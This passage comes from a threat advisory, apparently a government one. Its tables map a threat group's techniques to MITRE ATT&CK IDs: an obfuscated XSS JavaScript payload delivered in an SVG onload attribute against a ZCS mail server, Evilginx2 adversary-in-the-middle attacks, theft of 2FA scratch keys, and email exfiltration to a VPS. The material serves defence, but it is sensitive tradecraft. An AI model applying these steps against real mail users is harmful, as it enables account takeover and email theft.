</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
